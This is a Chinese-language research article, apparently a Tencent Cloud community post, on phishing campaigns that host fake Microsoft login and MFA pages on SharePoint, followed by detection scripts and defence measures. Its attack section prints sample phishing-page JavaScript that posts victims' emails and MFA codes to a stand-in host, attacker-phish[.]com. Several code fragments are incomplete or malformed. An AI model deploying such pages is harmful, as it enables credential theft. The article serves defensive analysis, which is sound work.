基于SharePoint的信任滥用型钓鱼攻击机理与防御体系研究

原创

草竹道人

发布于 2025-11-24 15:10:49

400

文章被收录于专栏：公共互联网反网络钓鱼（APCN）公共互联网反网络钓鱼（APCN）

一、引言

近年来，随着企业办公环境向云原生架构迁移，Microsoft SharePoint作为主流的企业内容协作平台，因其深度集成于Microsoft 365生态、具备高可用性与合规性保障，被广泛部署于各类组织内部。然而，这种高度信任的平台属性正被高级持续性威胁（APT）及网络犯罪团伙所利用，催生出一类新型钓鱼攻击范式——即“信任滥用型钓鱼”（Trust-Abuse Phishing）。此类攻击不再依赖传统邮件附件或显式恶意链接，而是通过伪装成合法的SharePoint共享文档请求，诱导用户在看似可信的界面中完成多阶段身份验证，最终窃取账户凭证或植入恶意载荷。

2025年中期以来，Cyberproof等多家安全机构相继披露了多起利用SharePoint实施的复杂钓鱼活动。这些攻击不仅绕过了基于URL黑名单、邮件网关过滤和沙箱检测的传统防护机制，还通过模拟微软原生认证流程（如MFA验证码交互），显著提升了欺骗成功率。尤其值得注意的是，攻击者引入了“收件人特定验证”机制，仅当输入目标用户的精确邮箱地址后，才触发后续恶意跳转，极大削弱了安全团队使用蜜罐账户或通用测试账号进行主动探测的有效性。

本文聚焦于该类攻击的技术实现路径、行为特征及其对企业安全架构构成的挑战，系统分析其相较于传统钓鱼攻击的演进逻辑，并在此基础上提出一套涵盖检测、响应与加固的纵深防御框架。全文结构如下：第二部分梳理SharePoint平台在企业中的典型应用场景及其固有信任机制；第三部分详细还原攻击链各阶段技术细节，包括初始诱饵构造、动态页面托管、身份验证仿真与最终凭证窃取；第四部分从网络流量、用户行为与平台日志三个维度构建检测模型，并辅以实际代码示例说明自动化识别逻辑；第五部分提出针对性的缓解策略，涵盖权限最小化、访问控制强化与用户教育优化；最后总结全文并指出未来研究方向。

二、SharePoint平台的信任基础与安全边界

Microsoft SharePoint Online作为Microsoft 365核心组件之一，为企业提供文档存储、协作编辑、工作流自动化及内外部共享功能。其安全性设计依赖于Azure Active Directory（Azure AD）的身份认证体系，并默认启用多因素认证（MFA）、条件访问（Conditional Access）及数据丢失防护（DLP）等策略。由于SharePoint域名（如*.sharepoint.com）被绝大多数企业防火墙、邮件安全网关及终端EDR系统列入白名单，用户对其链接天然具备较高信任度。

在典型企业环境中，员工每日接收大量来自同事或合作伙伴的SharePoint共享链接，内容涵盖合同、报表、项目计划等敏感信息。这种高频、合法的使用模式使得攻击者可轻易将恶意链接嵌入伪造的业务邮件中，例如：“您有一份待审阅的Q3财报，请点击此处查看”。由于链接指向真实存在的SharePoint子域，且初始页面无明显异常，传统基于静态特征的检测手段难以有效识别。

更关键的是，SharePoint支持动态生成临时共享链接，且可通过Microsoft Graph API进行程序化管理。攻击者一旦获取低权限账户（如通过撞库或泄露凭证），即可创建看似合法的共享项，并设置短时效访问控制，进一步规避基于长期URL监控的威胁情报系统。这种“合法平台+非法内容”的组合，构成了当前钓鱼攻击的新范式。

三、攻击链技术剖析

3.1 初始诱饵投递

攻击者首先构造高度仿真的业务邮件，主题通常涉及紧急审批、财务对账或人事通知。邮件正文包含一个指向SharePoint的超链接，格式如下：

https://contoso-my.sharepoint.com/:x:/g/personal/alice_contoso_com/EaBcDeFgHiJkLmNoPqRsTuVwXyZ?e=AbCdEf

该链接虽属合法SharePoint命名空间，但实际由攻击者控制。值得注意的是，攻击者常通过注册与目标企业相似的租户名（如cont0so而非contoso）实施域名混淆，或利用已被攻陷的合法账户生成共享链接，提升欺骗性。

3.2 动态钓鱼页面托管

点击链接后，用户并非直接进入文档预览页，而是被重定向至一个由攻击者上传至SharePoint文档库的HTML文件。该文件通常命名为index.html或secure_login.html，并通过SharePoint的“匿名访问”或“特定人员共享”权限开放。由于内容托管于微软官方基础设施，CDN缓存与TLS证书均合法有效，常规浏览器安全提示不会触发。

以下为简化版钓鱼页面代码示例：

<!DOCTYPE html>

<html>

<head>

<title>Microsoft 安全验证</title>

<style>

body { font-family: 'Segoe UI', sans-serif; background: #f3f2f1; }

.container { max-width: 400px; margin: 100px auto; padding: 20px; background: white; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }

input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ccc; border-radius: 4px; }

button { width: 100%; padding: 10px; background: #0078d4; color: white; border: none; border-radius: 4px; cursor: pointer; }

</style>

</head>

<body>

<div>

<p>请输入您的工作或学校账户以继续：</p>

</form>

</div>

document.getElementById('emailForm').addEventListener('submit', async (e) => {

e.preventDefault();

const email = document.getElementById('email').value.trim().toLowerCase();

// 验证是否为目标邮箱（示例：仅允许 @targetcorp.com）

if (!email.endsWith('@targetcorp.com')) {

alert('该账户不属于本组织。');

return;

}

// 发送邮箱至攻击者服务器进行记录

await fetch('https://attacker-phish[.]com/log', {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({ stage: 'email', email: email })

});

// 跳转至伪造的MFA页面

window.location.href = 'mfa.html?user=' + encodeURIComponent(email);

});

</script>

</body>

</html>

此阶段的关键在于收件人验证：仅当输入符合预设域名规则的邮箱时，才允许进入下一环节。此举有效阻止安全研究人员使用非目标邮箱进行探测。

3.3 伪造MFA交互

用户提交邮箱后，被重定向至mfa.html，页面模拟微软标准的“发送验证码”流程：

<div>

<p>我们已向 <strong id="userEmail"></strong> 发送了一个6位验证码。</p>

</div>

const params = new URLSearchParams(window.location.search);

const email = params.get('user');

document.getElementById('userEmail').textContent = email;

async function submitCode() {

const code = document.getElementById('code').value;

if (code.length !== 6) { alert('请输入6位验证码'); return; }

await fetch('https://attacker-phish[.]com/log', {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({ stage: 'mfa', email: email, code: code })

});

// 最终跳转至真实钓鱼登录页

window.location.href = 'https://attacker-phish[.]com/login?user=' + encodeURIComponent(email);

}

</script>

值得注意的是，攻击者并不真正发送验证码，而是利用用户心理预期——多数用户会误以为验证码已自动推送至其手机或邮箱，从而主动输入猜测值或等待不存在的通知。即便未输入正确代码，攻击者仍可收集邮箱信息用于后续精准攻击。

3.4 凭证窃取与会话劫持

最终页面为高度仿真的Microsoft登录界面，用户在此输入密码后，凭证被发送至攻击者服务器。部分高级变种甚至支持OAuth授权码拦截，直接获取用户会话令牌，实现无密码持久化访问。

四、检测模型构建

针对上述攻击链，需建立多维度检测机制。

4.1 网络层异常检测

尽管SharePoint域名合法，但钓鱼页面通常托管于非标准路径（如/Shared Documents/phish/），且访问频率异常。可通过Microsoft Defender for Cloud Apps或自建SIEM系统监控以下行为：

非常规时间访问SharePoint HTML资源

单一用户短时间内多次访问不同共享链接

共享链接创建者与内容类型不匹配（如普通员工创建大量登录页面）

以下Python脚本示例展示如何通过Microsoft Graph API审计可疑共享项：

import requests

import json

def detect_suspicious_sharing(token):

headers = {'Authorization': f'Bearer {token}'}

url = "https://graph.microsoft.com/v1.0/sites/root/drives"

response = requests.get(url, headers=headers)

drives = response.json().get('value', [])

for drive in drives:

items_url = f"https://graph.microsoft.com/v1.0/drives/{drive['id']}/root/children"

items = requests.get(items_url, headers=headers).json().get('value', [])

for item in items:

if item.get('file', {}).get('mimeType') == 'text/html':

# 检查文件名是否含敏感关键词

if any(kw in item['name'].lower() for kw in ['login', 'secure', 'verify']):

print(f"[ALERT] Suspicious HTML file: {item['name']} in {drive['name']}")

# 可触发自动隔离或告警

4.2 用户行为分析

通过UEBA（用户与实体行为分析）模型识别异常交互：

用户在SharePoint页面中输入邮箱/密码（正常场景下SharePoint不收集凭证）

页面停留时间过短（<5秒）却完成“验证”操作

同一会话中连续跳转多个非文档类页面

可在终端部署轻量级浏览器扩展，监控DOM中是否存在伪造的Microsoft登录表单：

// browser-extension content script

setInterval(() => {

const forms = document.querySelectorAll('form');

for (let form of forms) {

const inputs = form.querySelectorAll('input[type="email"], input[type="password"]');

if (inputs.length >= 2 && window.location.hostname.includes('sharepoint.com')) {

// 检查页面是否包含Microsoft logo但非官方登录域

if (document.querySelector('img[src*="microsoftonline.com/branding"]') &&

!window.location.href.startsWith('https://login.microsoftonline.com')) {

alert('检测到可疑登录页面！请勿输入凭证。');

// 上报至EDR

fetch('https://edr.company.com/report-phish', {

method: 'POST',

body: JSON.stringify({ url: window.location.href })

});

}

}, 2000);

4.3 日志关联分析

整合Azure AD登录日志、SharePoint访问日志与邮件网关日志，构建攻击链图谱。例如：

用户A收到含SharePoint链接的邮件（来源：外部发件人）

5分钟后访问该链接（SharePoint日志）

随后尝试登录Microsoft账户（Azure AD日志），但IP地址与SharePoint访问IP不一致

此类时空不一致性可作为高置信度告警依据。

五、防御体系构建

5.1 权限最小化原则

禁用非必要用户的“外部共享”权限

对文档库设置“仅组织内成员可访问”

审计并清理长期有效的匿名共享链接

5.2 条件访问策略强化

在Azure AD中配置策略：

禁止从非托管设备访问SharePoint敏感内容

对访问HTML/JS文件的行为要求MFA二次确认

对非常用地点访问实施阻断或审批

5.3 用户安全意识提升

开展针对性演练：

模拟SharePoint钓鱼邮件，测试员工识别能力

教育用户：Microsoft绝不会通过SharePoint页面索要密码

推广“右键检查链接”习惯，核实域名真实性

5.4 平台级防护增强

启用Microsoft Defender for Office 365的“安全链接”功能，实时重写并扫描SharePoint链接

部署CASB（云访问安全代理）对SharePoint内容进行DLP扫描，阻断含登录表单的HTML上传

六、结论

本文系统剖析了基于SharePoint的信任滥用型钓鱼攻击的技术机理，揭示了其利用平台合法性、动态托管能力与多阶段验证仿真实现高隐蔽性的核心逻辑。研究表明，传统边界防御对此类攻击效果有限，必须转向以行为分析、日志关联与权限管控为核心的纵深防御体系。未来工作将聚焦于利用AI模型对SharePoint页面内容进行语义级风险评分，以及推动行业标准要求SaaS平台对用户上传的可执行内容实施更严格的沙箱隔离。唯有技术防护与人员意识协同演进，方能有效应对日益复杂的云原生威胁 landscape。

编辑：芦笛（公共互联网反网络钓鱼工作组）

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

iOA 零信任安全管理系统